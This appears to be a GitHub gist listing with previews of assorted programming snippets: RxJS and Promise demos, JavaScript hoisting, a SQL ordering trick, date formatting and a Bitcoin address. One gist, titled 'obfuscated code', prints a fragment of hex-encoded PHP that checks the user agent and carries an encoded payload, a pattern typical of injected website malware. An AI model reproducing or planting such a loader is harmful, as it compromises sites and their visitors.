View Observables-example.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Observable } from 'rxjs'; | |
const greeting$ = new Observable(observer => { | |
const clear = setInterval(() => { | |
observer.next('Hello, there'); | |
}, 1000); | |
// Need to handle the interval here, otherwise you'll end up in a infinitely firing observable. | |
}); | |
greeting$.subscribe(res => { |
View promise-example-1.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const greet = new Promise((resolve, reject) => { | |
resolve('Hello, there'); | |
}); | |
greet.then(success => { | |
console.log(success); | |
}); |
View forEach-sigature.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
arr.forEach(callback, [, thisArg]); | |
// thisArg is optional for forEeach | |
// the callback has the following arguments in forEach. | |
callback(currentValue, [, index [, array]]) | |
// index and array are optional |
View hoisting.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function print() { | |
console.log(name); | |
var name = "React"; | |
var version = "2.3.1"; | |
var isLTS = true; | |
} | |
function print() { | |
var name, version, isLTS; | |
console.log(name); |
View gist:3f6ed23105dfa31326c4e5db81d770dd
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1MAxsBxsNeFDj6tPsDz4xr1sQ63DC9Td33 https://explorer.blockstack.org/address/1MAxsBxsNeFDj6tPsDz4xr1sQ63DC9Td33 |
View test file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
test |
View obfuscated code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $ubdbtdyqwj = ']y31]55]y85]82]y76]62]y3:]84#-!OVM7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjid5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)}X;!sp!*#opo#>>}R;msv}.;%x5c%x**9.-j%x5c%x7825-bubE{h%x5c%x78255c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x78%x5c%x787f!<X>b%x5c%x7825x7825}&;ftmbg}%x5c%x78dovg}k~~9{d%x5c%x7825:osvufs:~7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x27k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x78250%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x78257825%x5c%x7824-%x5c%x7824*<!~!ds4)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#7825V%x5c%x7827{ftmfV928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78b%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816 |
View order by ASC but some value at top
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT * FROM stores ORDER BY country = "us" DESC, storeId |
View creating desired date format from javascript date instance
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sendData.action_date = selected.getFullYear() + "-" + selected.getMonth() + "-" + selected.getDate() + " " + ref.timepicker.mytime.getHours() + ":" + ('0' + ref.timepicker.mytime.getMinutes()).slice(-2); |
View applyLeaveController.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(Object.prototype.toString.call(ref.leave.fromDate) === "[object Date]" | |
&& Object.prototype.toString.call(ref.leave.toDate) === "[object Date]") | |
{ |
NewerOlder